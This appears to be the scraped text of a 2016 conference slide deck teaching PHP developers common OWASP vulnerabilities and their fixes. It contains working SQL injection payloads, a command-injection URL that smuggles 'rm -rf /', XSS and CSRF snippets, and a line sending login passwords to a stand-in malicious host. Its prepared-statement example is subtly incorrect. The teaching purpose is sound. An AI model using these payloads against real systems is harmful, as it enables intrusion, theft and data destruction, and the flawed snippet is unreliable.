Hacking Your Way To Better Security - php[tek] 2016

Colin O'Dell
Colin O'DellLead Web Developer for Unleashed Technologies at Unleashed Technologies
Hacking Your Way
To Better Security
Colin O’Dell
@colinodell
Lead Web Developer at Unleashed Technologies
PHP developer since 2002
league/commonmark maintainer
PHP 7 Migration Guide e-book author
php[world] 2015 CtF winner
Goals
Explore several top security vulnerabilities from the
perspective of an attacker.
1. Understand how to detect and exploit common
vulnerabilities
2. Learn how to protect against those vulnerabilities
Disclaimers
1.NEVER test systems that aren’t yours without
explicit permission.
2.Examples in this talk are fictional, but the
vulnerability behaviors shown are very real.
OWASP Top 10
OWASP Top 10
Regular publication by The Open Web Application
Security Project
Highlights the 10 most-critical web application
security risks
Hacking Your Way To Better Security - php[tek] 2016
Hacking Your Way To Better Security - php[tek] 2016
SQL Injection
Modifying SQL statements to:
Spoof identity
Tamper with data
Disclose hidden information
SQL Injection
Basics
$value = $_REQUEST['value'];
SELECT * FROM x WHERE y = '[MALICIOUS CODE HERE]' ";
$sql = "SELECT * FROM x WHERE y = '$value' ";
$database->query($sql);
Username
Password
Log In
admin
password
Username
Password
Log In
admin
password'
Invalid username or password. Please double-check and try again.
Username
Password
Log In
admin
Unknown error.
tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL
server version for the right syntax to use near
"password'" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin' AND
password = 'password'';
$
$
tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL
server version for the right syntax to use near
"password'" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin' AND
password = 'password'';
$
$
~~
Username
Password
Log In
admin
' test
Unknown error.
Username
Password
Log In
admin
Unknown error.
tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL
server version for the right syntax to use near
"' test" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin' AND
password = '' test';
$
$
tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL
server version for the right syntax to use near
"' test" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin' AND
password = '' test';
$
$
~~~~~~~~
~~~~~~~~
SELECT * FROM users WHERE username = 'admin' AND
password = '' test';
SELECT * FROM users WHERE username = 'admin' AND
password = '';
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR (something that is true);
SELECT * FROM users WHERE username = 'admin' AND
(true);
SELECT * FROM users WHERE username = 'admin';
SELECT * FROM users WHERE username = 'admin' AND
password = '' test ';
' test
SELECT * FROM users WHERE username = 'admin' AND
password = '' test ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' test ';
' test
~~~~~~~~~~~~~~~~~~~~
SELECT * FROM users WHERE username = 'admin' AND
password = ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' ';
'
~~~~
SELECT * FROM users WHERE username = 'admin' AND
password = '' ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' ' ';
' '
~~~~~~~~~~~~~~~~
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR ' ';
' OR '
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1 ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1 ' ';
' OR '1 '
~~~~
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1' ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1' ' ';
' OR '1' '
~~~~~~~~~
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1'=' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1'=' ';
' OR '1'='
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1'='1';
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1'='1';
' OR '1'='1
Username
Password
Log In
admin
' OR '1'='1
Unknown error.
Welcome Admin!
Admin Menu:
Give customer money
Take money away
Review credit card applications
Close accounts
Blind SQL Injection
Blind SQL Injection
Invalid username or password. Please double-check and try again.
Unknown error.
Valid query (empty result)
Invalid query
Welcome Admin! Valid query (with result)
' AND (SELECT id FROM user LIMIT 1) = '
Username
Password
admin
Log In
Real-Time MySQL View
' AND (SELECT id FROM user LIMIT 1) = '
Username
Password
admin
Unknown error.
Log In
Error LogQuery Log
SELECT * FROM users WHERE username = 'admin' AND
password = '' AND (SELECT id FROM user LIMIT 1) = '';
' AND (SELECT id FROM user LIMIT 1) = '
Username
Password
admin
Unknown error.
Log In
Query Log
MySQL error: Unknown table 'user'.
Error Log
' AND (SELECT id FROM users LIMIT 1) = '
Username
Password
admin
Unknown error.
Log In
Query Log
MySQL error: Unknown table 'user'.
Error Log
' AND (SELECT id FROM users LIMIT 1) = '
Username
Password
admin
Invalid username or password. Please double-check and try again.
Log In
SQL Injection - Data Disclosure
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/123
SELECT * FROM books WHERE id = 123
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => 'The Great Gatsby',
'author' => 'F. Scott Fitzgerald',
'price' => 9.75
}
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999
SELECT * FROM books WHERE id = 99999
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
}
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/?????
SELECT * FROM books WHERE id = ?????
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
}
SQL UNION Query
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
Column 1 Column 2 Column 3
Foo Bar 123
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
Foo Bar 123
UNION
SQL UNION Query
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
Column 1 Column 2 Column 3
(SELECT) 1 1
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
(SELECT) 1 1
UNION
SQL UNION Query
Column 1 Column 2 Column 3
(empty)
Column 1 Column 2 Column 3
(SELECT) 1 1
Column 1 Column 2 Column 3
(SELECT) 1 1
UNION
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT number FROM creditcards
SELECT * FROM books WHERE id = ?????
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
}
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS
'author', 1 AS 'price' FROM creditcards
SELECT * FROM books WHERE id = ?????
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
}
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS
'author', 1 AS 'price' FROM creditcards
SELECT * FROM books WHERE id = 99999 UNION
SELECT number AS 'title', 1 AS 'author', 1 AS
'price' FROM creditcards
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '',
'author' => '',
'price' => 0
}
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS
'author', 1 AS 'price' FROM creditcards
SELECT * FROM books WHERE id = 99999 UNION
SELECT number AS 'title', 1 AS 'author', 1 AS
'price' FROM creditcards
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '4012-3456-7890-1234',
'author' => 1,
'price' => 1
}
Protecting Against
SQL Injection
$value = $_REQUEST['value'];
$sql = "SELECT * FROM x WHERE y = '$value' ";
$database->query($sql);
Protecting Against
SQL Injection
Block input with special
characters
Protecting Against
SQL Injection
Block input with special
characters
Escape user input
$value = $_REQUEST['value'];
$escaped = mysqli_real_escape_string($value);
$sql = "SELECT * FROM x WHERE y = '$escaped' ";
$database->query($sql);
' OR '1' = '1 ' OR '1' = '1
mysqli_real_escape_string()
SELECT * FROM x WHERE y = '' OR '1' = '1'
Protecting Against
SQL Injection
Block input with special
characters
Escape user input
$value = $_REQUEST['value'];
$escaped = mysqli_real_escape_string($value);
$sql = "SELECT * FROM x WHERE y = '$escaped' ";
$database->query($sql);
' OR '1' = '1 ' OR '1' = '1
mysqli_real_escape_string()
SELECT * FROM x WHERE y = '' OR '1' = '1'
Protecting Against
SQL Injection
Block input with special
characters
Escape user input
Use prepared statements
$mysqli = new mysqli("localhost", "user", "pass", "db");
$q = $mysqli->prepare("SELECT * FROM x WHERE y = '?' ");
$q->bind_param(1, $_REQUEST['value']);
$q->execute();
Native PHP:
● mysqli
● pdo_mysql
Frameworks / Libraries:
● Doctrine
● Eloquent
● Zend_Db
Other Types of Injection
NoSQL databases
OS Commands
LDAP Queries
SMTP Headers
$file = $_GET['filename'];
shell_exec("rm uploads/{$file}");
/rm.php?filename=foo.jpg+%26%26+rm+-rf+%2F
rm uploads/foo.jpg && rm -rf /
XSS
Cross-Site Scripting
Injecting code into the webpage
(for other users)
• Execute malicious scripts
• Hijack sessions
• Install malware
• Deface websites
XSS Attack
Basics $value = $_POST['value'];
$value = $rssFeed->first->title;
$value = db_fetch('SELECT value FROM table');
<?php echo $value ?>
Raw code/script
is injected onto a page
XSS – Cross-Site Scripting Basics
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
XSS – Cross-Site Scripting
short.ly
Paste a URL here Shorten
XSS – Cross-Site Scripting
short.ly
http://www.colinodell.com Shorten
XSS – Cross-Site Scripting
short.ly
http://www.colinodell.com Shorten
Short URL: http://short.ly/b7fe9
Original URL: http://www.colinodell.com
XSS – Cross-Site Scripting
short.ly
Please wait while we redirect you to
http://www.colinodell.com
XSS – Cross-Site Scripting
short.ly
<script>alert('hello world!');</script> Shorten
XSS – Cross-Site Scripting
short.ly
<script>alert('hello world!');</script> Shorten
Short URL: http://short.ly/3bs8a
Original URL:
hello world!
OK
X
XSS – Cross-Site Scripting
short.ly
<script>alert('hello world!');</script> Shorten
Short URL: http://short.ly/3bs8a
Original URL:
<p>
Short URL:
<a href="…">http://short.ly/3bs8a</a>
</p>
<p>
Original URL:
<a href="…"><script>alert('hello world!');</script></a>
</p>
XSS – Cross-Site Scripting
short.ly
<iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten
XSS – Cross-Site Scripting
short.ly
<iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten
Short URL: http://short.ly/3bs8a
Original URL:
XSS – Cross-Site Scripting
short.ly
Please wait while we redirect you to
XSS – Cross-Site Scripting
document.getElementById('login-form').action =
'http://malicious-site.com/steal-passwords.php';
Protecting Against
XSS Attacks
$value = $_POST['value'];
$value = db_fetch('SELECT value FROM table');
$value = $rssFeed->first->title;
<?php echo $value ?>
Protecting Against
XSS Attacks
• Filter user input
$value = strip_tags($_POST['value']);
$value = strip_tags(
db_fetch('SELECT value FROM table')
);
$value = strip_tags($rssFeed->first->title);
<?php echo $value ?>
Protecting Against
XSS Attacks
• Filter user input
• Escape user input
$value = htmlspecialchars($_POST['value']);
$value = htmlspecialchars(
db_fetch('SELECT value FROM table')
);
$value = htmlspecialchars($rssFeed->first->title);
<?php echo $value ?>
<script> &lt;script&gt;
htmlspecialchars()
Protecting Against
XSS Attacks
• Filter user input
• Escape user input
• Escape output
$value = $_POST['value'];
$value = db_fetch('SELECT value FROM table');
$value = $rssFeed->first->title;
<?php echo htmlspecialchars($value) ?>
Protecting Against
XSS Attacks
• Filter user input
• Escape user input
• Escape output
{{ some_variable }}
{{ some_variable|raw }}
CSRF
Cross-Site Request Forgery
Execute unwanted actions on
another site which user is logged in
to.
• Change password
• Transfer funds
• Anything the user can do
CSRF – Cross-Site Request Forgery
Hi Facebook! I am
colinodell and my
password is *****.
Welcome Colin!
Here’s your
news feed.
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
CSRF – Cross-Site Request Forgery
Hi other website!
Show me your
homepage.
Sure, here you go!
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
CSRF – Cross-Site Request Forgery
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
CSRF – Cross-Site Request Forgery
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
Tell Facebook we want to
change our password to
hacked123
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
CSRF – Cross-Site Request Forgery
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
Hi Facebook! Please
change my password
to hacked123.
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
Done!
CSRF – Cross-Site Request Forgery
short.ly
<img src="https://paypal.com/pay?email=me@evil.com&amt=9999"> Shorten
CSRF – Cross-Site Request Forgery
short.ly
Please wait while we redirect you to
X
Protecting Against
CSRF Attacks
Only use POST requests?
Protecting Against
CSRF Attacks
Only use POST requests?
NO!
POST requests are vulnerable too
Common Misconceptions:
“<img> tags can only make GET requests”
“If a user doesn’t click a form it won’t submit”
Protecting Against
CSRF Attacks
Only use POST requests?
Use a secret cookie?
Protecting Against
CSRF Attacks
Only use POST requests?
Use a secret cookie?
NO!
Cookies are sent on every
request.
Protecting Against
CSRF Attacks
Only use POST requests?
Use a secret cookie?
Use random CSRF tokens
YES!
<input type="hidden" name="token"
value="ao3i4yw90sae8rhsdrf">
1. Generate a random string per user.
2. Store it in their session.
3. Add to form as hidden field.
4. Compare submitted value to session
1. Same token? Proceed.
2. Different/missing? Reject the request.
Insecure
Direct Object
References
Access & manipulate objects you
shouldn’t have access to
Insecure Direct Object References
Insecure Direct Object References
Beverly Cooper
Insecure Direct Object References
Insecure Direct Object References
Insecure Direct Object References
Insecure Direct Object References
Protecting Against
Insecure Direct
Object References
Check permission on
data input
• URL / route parameters
• Form field inputs
• Basically anything that’s an ID
• If they don’t have permission,
show a 403 (or 404) page
Protecting Against
Insecure Direct
Object References
Check permission on
data input
Check permission on
data output
• Do they have permission to
access this object?
• Do they have permission to
even know this exists?
• This is not “security through
obscurity”
Sensitive Data
Exposure
Security
Misconfiguration
Components with
Known Vulnerabilities
http://www.example.com/CHANGELOG
http://www.example.com/composer.lock
http://www.example.com/.git/
http://www.example.com/.env
http://www.example.com/robots.txt
Sensitive Data Exposure
Sensitive Data Exposure - CHANGELOG
Sensitive Data Exposure – composer.lock
Sensitive Data Exposure – composer.lock
Sensitive Data Exposure – .git
Sensitive Data Exposure – robots.txt
Private information that is stored, transmitted, or backed-up in
clear text (or with weak encryption)
• Customer information
• Credit card numbers
• Credentials
Sensitive Data Exposure
Security Misconfiguration & Components with Known Vulnerabilities
Default accounts enabled; weak passwords
• admin / admin
Security configuration
• Does SSH grant root access?
• Are weak encryption keys used?
Out-of-date software
• Old versions with known issues
• Are the versions exposed?
• Unused software running (DROWN attack)
Components with Known Vulnerabilities
Components with Known Vulnerabilities
Components with Known Vulnerabilities
Protecting Against
Sensitive Data Exposure, Security
Mismanagement, and
Components with Known
Vulnerabilities
Keep software up-to-date
• Install critical updates immediately
• Install other updates regularly
Protecting Against
Sensitive Data Exposure, Security
Misconfiguration, and
Components with Known
Vulnerabilities
Keep software up-to-date
Keep sensitive data out
of web root
• Files which provide version numbers
• README, CHANGELOG, .git, composer.lock
• Database credentials & API keys
• Encryption keys
Protecting Against
Sensitive Data Exposure, Security
Misconfiguration, and
Components with Known
Vulnerabilities
Keep software up-to-date
Keep sensitive data out
of web root
Use strong encryption
• Encrypt with a strong private key
• Encrypt backups and data-in-transit
• Use strong hashing techniques for
passwords
Protecting Against
Sensitive Data Exposure, Security
Mismanagement, and
Components with Known
Vulnerabilities
Keep software up-to-date
Keep sensitive data out
of web root
Use strong encryption
Test your systems
• Scan your systems with automated
tools
• Test critical components yourself
• Automated tests
• Manual tests
Next Steps
Test your own applications for vulnerabilities
Learn more about security & ethical hacking
Enter security competitions (like CtF)
Stay informed
Questions?
Thanks!
Slides & feedback: https://joind.in/talk/f7516
Colin O'Dell
@colinodell
1 of 117

Recommended

Hacking Your Way to Better Security - PHP South Africa 2016 by
Hacking Your Way to Better Security - PHP South Africa 2016Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016Colin O'Dell
959 views109 slides
Hacking Your Way To Better Security by
Hacking Your Way To Better SecurityHacking Your Way To Better Security
Hacking Your Way To Better SecurityColin O'Dell
762 views109 slides
Hacking Your Way to Better Security - ZendCon 2016 by
Hacking Your Way to Better Security - ZendCon 2016Hacking Your Way to Better Security - ZendCon 2016
Hacking Your Way to Better Security - ZendCon 2016Colin O'Dell
601 views118 slides
Hacking Your Way To Better Security - DrupalCon Baltimore 2017 by
Hacking Your Way To Better Security - DrupalCon Baltimore 2017Hacking Your Way To Better Security - DrupalCon Baltimore 2017
Hacking Your Way To Better Security - DrupalCon Baltimore 2017Colin O'Dell
1.4K views117 slides
Php Security - OWASP by
Php  Security - OWASPPhp  Security - OWASP
Php Security - OWASPMizno Kruge
533 views149 slides
Web Security - Hands-on by
Web Security - Hands-onWeb Security - Hands-on
Web Security - Hands-onAndrea Valenza
154 views63 slides

More Related Content

What's hot

Web2py by
Web2pyWeb2py
Web2pyLucas D
1.6K views20 slides
Apache Solr Search Mastery by
Apache Solr Search MasteryApache Solr Search Mastery
Apache Solr Search MasteryAcquia
2.8K views84 slides
jQuery introduction by
jQuery introductionjQuery introduction
jQuery introductionStijn Van Minnebruggen
1.3K views107 slides
Dollar symbol by
Dollar symbolDollar symbol
Dollar symbolAaron Huang
1.1K views191 slides
Using web2py's DAL in other projects or frameworks by
Using web2py's DAL in other projects or frameworksUsing web2py's DAL in other projects or frameworks
Using web2py's DAL in other projects or frameworksBruno Rocha
1.9K views25 slides
Возможности, особенности и проблемы AR::Relation by
Возможности, особенности и проблемы AR::RelationВозможности, особенности и проблемы AR::Relation
Возможности, особенности и проблемы AR::RelationАлександр Ежов
166 views26 slides

What's hot(20)

Web2py by Lucas D
Web2pyWeb2py
Web2py
Lucas D1.6K views
Apache Solr Search Mastery by Acquia
Apache Solr Search MasteryApache Solr Search Mastery
Apache Solr Search Mastery
Acquia2.8K views
Dollar symbol by Aaron Huang
Dollar symbolDollar symbol
Dollar symbol
Aaron Huang1.1K views
Using web2py's DAL in other projects or frameworks by Bruno Rocha
Using web2py's DAL in other projects or frameworksUsing web2py's DAL in other projects or frameworks
Using web2py's DAL in other projects or frameworks
Bruno Rocha1.9K views
Symfony2 Building on Alpha / Beta technology by Daniel Knell
Symfony2 Building on Alpha / Beta technologySymfony2 Building on Alpha / Beta technology
Symfony2 Building on Alpha / Beta technology
Daniel Knell750 views
Better Bullshit Driven Development [SeleniumCamp 2017] by automician
Better Bullshit Driven Development [SeleniumCamp 2017]Better Bullshit Driven Development [SeleniumCamp 2017]
Better Bullshit Driven Development [SeleniumCamp 2017]
automician1.7K views
Dig Deeper into WordPress - WD Meetup Cairo by Mohamed Mosaad
Dig Deeper into WordPress - WD Meetup CairoDig Deeper into WordPress - WD Meetup Cairo
Dig Deeper into WordPress - WD Meetup Cairo
Mohamed Mosaad934 views
jQuery Fundamentals by Gil Fink
jQuery FundamentalsjQuery Fundamentals
jQuery Fundamentals
Gil Fink5.4K views
How to lose your database and your job by Ryan Gooler
How to lose your database and your jobHow to lose your database and your job
How to lose your database and your job
Ryan Gooler159 views
Web2py Code Lab by Colin Su
Web2py Code LabWeb2py Code Lab
Web2py Code Lab
Colin Su5K views
Solr Anti - patterns by Rafał Kuć
Solr Anti - patternsSolr Anti - patterns
Solr Anti - patterns
Rafał Kuć4.5K views

Viewers also liked

Ajax & Reverse Ajax Presenation by
Ajax & Reverse Ajax PresenationAjax & Reverse Ajax Presenation
Ajax & Reverse Ajax PresenationRishabh Garg
1.3K views30 slides
Polling Techniques, Ajax, protocol Switching from Http to Websocket standard ... by
Polling Techniques, Ajax, protocol Switching from Http to Websocket standard ...Polling Techniques, Ajax, protocol Switching from Http to Websocket standard ...
Polling Techniques, Ajax, protocol Switching from Http to Websocket standard ...Srikanth Reddy Pallerla
695 views21 slides
Resume by
ResumeResume
ResumeGajanan Naik
182 views3 slides
Enviar procesos by
Enviar procesosEnviar procesos
Enviar procesosŅäťhäľý Ğüäňüčhë
111 views16 slides
ThreePhasedImplementationPlan by
ThreePhasedImplementationPlanThreePhasedImplementationPlan
ThreePhasedImplementationPlanpbaxter
102 views21 slides
MECANISMO EFECTIVOS PARA GOBIERNO DE TI by
MECANISMO EFECTIVOS PARA GOBIERNO DE TIMECANISMO EFECTIVOS PARA GOBIERNO DE TI
MECANISMO EFECTIVOS PARA GOBIERNO DE TImiguel martinez rivera
163 views4 slides

Viewers also liked(14)

Ajax & Reverse Ajax Presenation by Rishabh Garg
Ajax & Reverse Ajax PresenationAjax & Reverse Ajax Presenation
Ajax & Reverse Ajax Presenation
Rishabh Garg1.3K views
Polling Techniques, Ajax, protocol Switching from Http to Websocket standard ... by Srikanth Reddy Pallerla
Polling Techniques, Ajax, protocol Switching from Http to Websocket standard ...Polling Techniques, Ajax, protocol Switching from Http to Websocket standard ...
Polling Techniques, Ajax, protocol Switching from Http to Websocket standard ...
ThreePhasedImplementationPlan by pbaxter
ThreePhasedImplementationPlanThreePhasedImplementationPlan
ThreePhasedImplementationPlan
pbaxter102 views
Real time data integration best practices and architecture by Bui Kiet
Real time data integration best practices and architectureReal time data integration best practices and architecture
Real time data integration best practices and architecture
Bui Kiet1.1K views
5 perubahan struktur ekonomi adhi nugraha 5x by adhi nugraha
5 perubahan struktur ekonomi adhi nugraha 5x5 perubahan struktur ekonomi adhi nugraha 5x
5 perubahan struktur ekonomi adhi nugraha 5x
adhi nugraha132 views
La Provincia de Los Santos by Maria Sanchez
La Provincia de Los SantosLa Provincia de Los Santos
La Provincia de Los Santos
Maria Sanchez18.5K views
short presentation on financial management by Raghav Bansal
short presentation on financial managementshort presentation on financial management
short presentation on financial management
Raghav Bansal317 views

Similar to Hacking Your Way To Better Security - php[tek] 2016

SQL Injection in action with PHP and MySQL by
SQL Injection in action with PHP and MySQLSQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQLPradeep Kumar
7K views10 slides
SQL Injection in PHP by
SQL Injection in PHPSQL Injection in PHP
SQL Injection in PHPDave Ross
5.2K views11 slides
Sql Injection Myths and Fallacies by
Sql Injection Myths and FallaciesSql Injection Myths and Fallacies
Sql Injection Myths and FallaciesKarwin Software Solutions LLC
115.3K views77 slides
SQL Injection Attacks by
SQL Injection AttacksSQL Injection Attacks
SQL Injection AttacksCompare Infobase Limited
2.7K views13 slides
Sql Injection by
Sql InjectionSql Injection
Sql InjectionAndrey Korshikov
696 views42 slides
03. sql and other injection module v17 by
03. sql and other injection module v1703. sql and other injection module v17
03. sql and other injection module v17Eoin Keary
289 views52 slides

Similar to Hacking Your Way To Better Security - php[tek] 2016(20)

SQL Injection in action with PHP and MySQL by Pradeep Kumar
SQL Injection in action with PHP and MySQLSQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQL
Pradeep Kumar7K views
SQL Injection in PHP by Dave Ross
SQL Injection in PHPSQL Injection in PHP
SQL Injection in PHP
Dave Ross5.2K views
03. sql and other injection module v17 by Eoin Keary
03. sql and other injection module v1703. sql and other injection module v17
03. sql and other injection module v17
Eoin Keary289 views
Out-of-band SQL Injection Attacks (#istsec) by Ömer Çıtak
Out-of-band SQL Injection Attacks (#istsec)Out-of-band SQL Injection Attacks (#istsec)
Out-of-band SQL Injection Attacks (#istsec)
Ömer Çıtak289 views
Owasp Indy Q2 2012 Advanced SQLi by owaspindy
Owasp Indy Q2 2012 Advanced SQLiOwasp Indy Q2 2012 Advanced SQLi
Owasp Indy Q2 2012 Advanced SQLi
owaspindy2K views
My app is secure... I think by Wim Godden
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
Wim Godden172 views
SQL Injections - 2016 - Huntington Beach by Jeff Prom
SQL Injections - 2016 - Huntington BeachSQL Injections - 2016 - Huntington Beach
SQL Injections - 2016 - Huntington Beach
Jeff Prom378 views
A Brief Introduction About Sql Injection in PHP and MYSQL by kobaitari
A Brief Introduction About Sql Injection in PHP and MYSQLA Brief Introduction About Sql Injection in PHP and MYSQL
A Brief Introduction About Sql Injection in PHP and MYSQL
kobaitari1.7K views
2014 database - course 3 - PHP and MySQL by Hung-yu Lin
2014 database - course 3 - PHP and MySQL2014 database - course 3 - PHP and MySQL
2014 database - course 3 - PHP and MySQL
Hung-yu Lin2.5K views
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto by Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
Pichaya Morimoto17.9K views
General Principles of Web Security by jemond
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Security
jemond2.7K views
My app is secure... I think by Wim Godden
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
Wim Godden1.8K views
How did i steal your database by Mostafa Siraj
How did i steal your databaseHow did i steal your database
How did i steal your database
Mostafa Siraj3K views
Advanced Sql Injection ENG by Dmitry Evteev
Advanced Sql Injection ENGAdvanced Sql Injection ENG
Advanced Sql Injection ENG
Dmitry Evteev4.6K views
My app is secure... I think by Wim Godden
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
Wim Godden585 views

More from Colin O'Dell

Demystifying Unicode - Longhorn PHP 2021 by
Demystifying Unicode - Longhorn PHP 2021Demystifying Unicode - Longhorn PHP 2021
Demystifying Unicode - Longhorn PHP 2021Colin O'Dell
263 views116 slides
Releasing High Quality Packages - Longhorn PHP 2021 by
Releasing High Quality Packages - Longhorn PHP 2021Releasing High Quality Packages - Longhorn PHP 2021
Releasing High Quality Packages - Longhorn PHP 2021Colin O'Dell
168 views87 slides
Releasing High Quality PHP Packages - ConFoo Montreal 2019 by
Releasing High Quality PHP Packages - ConFoo Montreal 2019Releasing High Quality PHP Packages - ConFoo Montreal 2019
Releasing High Quality PHP Packages - ConFoo Montreal 2019Colin O'Dell
625 views74 slides
Debugging Effectively - ConFoo Montreal 2019 by
Debugging Effectively - ConFoo Montreal 2019Debugging Effectively - ConFoo Montreal 2019
Debugging Effectively - ConFoo Montreal 2019Colin O'Dell
499 views70 slides
Automating Deployments with Deployer - php[world] 2018 by
Automating Deployments with Deployer - php[world] 2018Automating Deployments with Deployer - php[world] 2018
Automating Deployments with Deployer - php[world] 2018Colin O'Dell
468 views89 slides
Releasing High-Quality Packages - php[world] 2018 by
Releasing High-Quality Packages - php[world] 2018Releasing High-Quality Packages - php[world] 2018
Releasing High-Quality Packages - php[world] 2018Colin O'Dell
326 views73 slides

More from Colin O'Dell(20)

Demystifying Unicode - Longhorn PHP 2021 by Colin O'Dell
Demystifying Unicode - Longhorn PHP 2021Demystifying Unicode - Longhorn PHP 2021
Demystifying Unicode - Longhorn PHP 2021
Colin O'Dell263 views
Releasing High Quality Packages - Longhorn PHP 2021 by Colin O'Dell
Releasing High Quality Packages - Longhorn PHP 2021Releasing High Quality Packages - Longhorn PHP 2021
Releasing High Quality Packages - Longhorn PHP 2021
Colin O'Dell168 views
Releasing High Quality PHP Packages - ConFoo Montreal 2019 by Colin O'Dell
Releasing High Quality PHP Packages - ConFoo Montreal 2019Releasing High Quality PHP Packages - ConFoo Montreal 2019
Releasing High Quality PHP Packages - ConFoo Montreal 2019
Colin O'Dell625 views
Debugging Effectively - ConFoo Montreal 2019 by Colin O'Dell
Debugging Effectively - ConFoo Montreal 2019Debugging Effectively - ConFoo Montreal 2019
Debugging Effectively - ConFoo Montreal 2019
Colin O'Dell499 views
Automating Deployments with Deployer - php[world] 2018 by Colin O'Dell
Automating Deployments with Deployer - php[world] 2018Automating Deployments with Deployer - php[world] 2018
Automating Deployments with Deployer - php[world] 2018
Colin O'Dell468 views
Releasing High-Quality Packages - php[world] 2018 by Colin O'Dell
